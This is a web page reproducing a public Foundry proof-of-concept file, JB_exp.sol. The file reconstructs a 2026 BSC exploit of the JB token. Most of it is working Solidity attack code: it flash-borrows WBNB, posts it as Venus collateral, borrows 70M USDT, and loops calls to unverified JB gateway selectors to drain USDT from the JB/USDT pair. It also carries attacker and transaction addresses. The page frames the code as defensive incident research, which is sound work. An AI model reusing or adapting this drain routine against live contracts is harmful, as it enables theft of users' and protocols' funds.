Public reproduction file
src/test/2026-06/JB_exp.sol
Public reproduction file for dataset entry JB.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 49958.06 USDT8// Attacker : 0xd99e1abfc5dd5034d7ff63828d16c5e945d1b8569// Attack Contract : 0xcc21c75f9e13054667663f9ed37f41e65b52dee710// Vulnerable Contract : 0x1b5732eb98911c25acf7bdfaffb9409782cae6d711// Attack Tx : https://bscscan.com/tx/0x54e120b8d62a9d7cef94bf51f1f5b8aa13565d76d8797a79afeeb25ed0e1dc2513// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x1b5732eb98911c25acf7bdfaffb9409782cae6d7#code16// @Analysis17// Twitter Guy : https://x.com/audit_911/status/206794396132776378818//19// The attacker flash-borrowed WBNB, used it as Venus collateral, borrowed 70M USDT, and fed the USDT into20// the unverified JB helper. Repeated JB helper cycles used the live JB balance to sell/burn/sync through the21// JB/USDT pair, releasing USDT from the pair. Venus was repaid and the remaining USDT was forwarded as profit.23address constant ATTACKER = 0xD99E1aBfC5dd5034D7FF63828D16c5E945D1b856;24address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;25address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;26address constant JB = 0xcF92E7eF4A63D52dc15F45A24f4F815f00f299a7;27address constant FLASH_LENDER = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;28address constant VENUS_COMPTROLLER = 0xfD36E2c2a6789Db23113685031d7F16329158384;29address constant V_WBNB = 0x6bCa74586218dB34cdB402295796b79663d816e9;30address constant V_USDT = 0xfD5840Cd36d94D7229439859C0112a4185BC0255;31address constant JB_GATEWAY = 0x1B5732Eb98911c25acf7bDfAffB9409782CAE6d7;32address constant JB_USDT_PAIR = 0x43932cbb49c363F68655b5Ad2950ED4630CB49F8;33address constant JB_AUTH_HELPER = 0x94741df7BF9dB91B172A4E195E9BeA79Ce3726cD;35interface IFlashLender {36 function flashLoan(37 address token,38 uint256 amount,39 bytes calldata data40 ) external;41}43interface IVenusComptroller {44 function enterMarkets(45 address[] calldata vTokens46 ) external returns (uint256[] memory);47}49interface IVToken {50 function mint(51 uint256 mintAmount52 ) external returns (uint256);53 function borrow(54 uint256 borrowAmount55 ) external returns (uint256);56 function repayBorrow(57 uint256 repayAmount58 ) external returns (uint256);59 function redeemUnderlying(60 uint256 redeemAmount61 ) external returns (uint256);62}64interface IJBAuthHelper {65 function owner() external view returns (address);67 function parent(68 address account69 ) external view returns (address);71 function transferOwnership(72 address newOwner73 ) external;75 function bindReferrer(76 address referrer77 ) external;78}80contract ContractTest is BaseTestWithBalanceLog {81 function setUp() public {82 uint256 forkBlock = 104_980_466;83 vm.createSelectFork("bsc", forkBlock);85 fundingToken = USDT_TOKEN;86 attacker = ATTACKER;88 vm.label(ATTACKER, "Attacker");89 vm.label(WBNB_TOKEN, "WBNB");90 vm.label(USDT_TOKEN, "USDT");91 vm.label(JB, "JB");92 vm.label(FLASH_LENDER, "Flash Lender");93 vm.label(VENUS_COMPTROLLER, "Venus Comptroller");94 vm.label(V_WBNB, "vWBNB");95 vm.label(V_USDT, "vUSDT");96 vm.label(JB_GATEWAY, "JB Gateway");97 vm.label(JB_USDT_PAIR, "JB/USDT Pair");98 vm.label(JB_AUTH_HELPER, "JB Auth Helper");99 }101 function testExploit() public balanceLog {102 uint256 attackerBalanceBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);103 JBExploit exploit = new JBExploit();105 address helperOwner = IJBAuthHelper(JB_AUTH_HELPER).owner();107 // Harness setup: make the fresh PoC contract the JB_AUTH_HELPER owner/admin.108 vm.prank(helperOwner);109 IJBAuthHelper(JB_AUTH_HELPER).transferOwnership(address(exploit));110 assertEq(IJBAuthHelper(JB_AUTH_HELPER).owner(), address(exploit), "helper owner");112 // The gateway still checks parent(address(exploit)); the helper rejects self-referrers,113 // so bind the fresh owner/admin to the previous non-self referrer root.114 vm.prank(address(exploit));115 IJBAuthHelper(JB_AUTH_HELPER).bindReferrer(helperOwner);116 assertEq(IJBAuthHelper(JB_AUTH_HELPER).parent(address(exploit)), helperOwner, "helper parent");118 vm.prank(ATTACKER);119 exploit.run();121 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBalanceBefore;122 assertGt(profit, 40_000 ether, "USDT profit");123 }124}126contract JBExploit {127 bytes4 private constant FLASH_CALLBACK_SELECTOR = 0x13a1a562;128 bytes4 private constant JB_BOOTSTRAP_SELECTOR = 0xd680aabd;129 bytes4 private constant JB_CYCLE_SELECTOR = 0x53a9fcbc;131 fallback() external payable {132 require(msg.sig == FLASH_CALLBACK_SELECTOR, "unexpected callback");134 (uint256 amount, bytes memory data) = abi.decode(msg.data[4:], (uint256, bytes));135 (address jb, address pair, address gateway) = abi.decode(data, (address, address, address));136 require(jb == JB && pair == JB_USDT_PAIR && gateway == JB_GATEWAY, "bad callback data");138 executeFlashLoan(amount);139 }141 function run() external {142 uint256 flashLoanAmount = IERC20(WBNB_TOKEN).balanceOf(FLASH_LENDER);144 IERC20(WBNB_TOKEN).approve(FLASH_LENDER, type(uint256).max);145 // step 1: flash-borrow WBNB from the lender.146 IFlashLender(FLASH_LENDER).flashLoan(WBNB_TOKEN, flashLoanAmount, abi.encode(JB, JB_USDT_PAIR, JB_GATEWAY));148 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(this));149 IERC20(USDT_TOKEN).transfer(msg.sender, profit);150 }152 function executeFlashLoan(153 uint256 flashLoanAmount154 ) private {155 // step 2: use the flash-borrowed WBNB as Venus collateral.156 IERC20(WBNB_TOKEN).approve(V_WBNB, flashLoanAmount);158 address[] memory markets = new address[](1);159 markets[0] = V_WBNB;160 IVenusComptroller(VENUS_COMPTROLLER).enterMarkets(markets);162 require(IVToken(V_WBNB).mint(flashLoanAmount) == 0, "vWBNB mint failed");164 // step 3: borrow the clean USDT amount used by the attacker.165 uint256 borrowAmount = 70_000_000 ether;166 require(IVToken(V_USDT).borrow(borrowAmount) == 0, "vUSDT borrow failed");168 IERC20(USDT_TOKEN).approve(JB_GATEWAY, type(uint256).max);169 IERC20(JB).approve(JB_GATEWAY, type(uint256).max);171 // step 4: seed the JB cycle through the unverified helper selector 0xd680aabd.172 callJBGateway(JB_BOOTSTRAP_SELECTOR, borrowAmount);174 // step 5: repeat the partial-balance cycle, then pass the remaining JB balance.175 for (uint256 i = 0; i < 15; i++) {176 uint256 cycleAmount = IERC20(JB).balanceOf(address(this)) / 50;177 callJBGateway(JB_CYCLE_SELECTOR, cycleAmount);178 }179 callJBGateway(JB_CYCLE_SELECTOR, IERC20(JB).balanceOf(address(this)));181 // step 6: repay Venus, redeem WBNB, and leave WBNB approval for the flash lender pull.182 IERC20(USDT_TOKEN).approve(V_USDT, borrowAmount);183 require(IVToken(V_USDT).repayBorrow(borrowAmount) == 0, "vUSDT repay failed");184 require(IVToken(V_WBNB).redeemUnderlying(flashLoanAmount) == 0, "vWBNB redeem failed");185 IERC20(WBNB_TOKEN).approve(FLASH_LENDER, flashLoanAmount);186 }188 function callJBGateway(189 bytes4 selector,190 uint256 amount191 ) private returns (uint256 result) {192 (bool success, bytes memory returnData) =193 JB_GATEWAY.call(abi.encodeWithSelector(selector, amount, uint256(0), 1 ether));194 require(success, "JB gateway call failed");195 result = abi.decode(returnData, (uint256));196 }197}Analysis
Dataset entry
Public Foundry test for “JB” (2026-06-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd99e1abfc5dd5034d7ff63828d16c5e945d1b856
- Attack Contract
0xcc21c75f9e13054667663f9ed37f41e65b52dee7
- Vulnerable Contract
0x1b5732eb98911c25acf7bdfaffb9409782cae6d7
- Attack Tx
0x54e120b8d62a9d7cef94bf51f1f5b8aa13565d76d8797a79afeeb25ed0e1dc25
File record
- Name
- JB
- Path
- src/test/2026-06/JB_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- abdbb92744fb4058a4e565fdcb7ae115fb4c82b2
- Language
- Solidity
- Size
- 198 lines
- Date
- 2026-06-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/JB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob abdbb92744fb4058a4e565fdcb7ae115fb4c82b2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.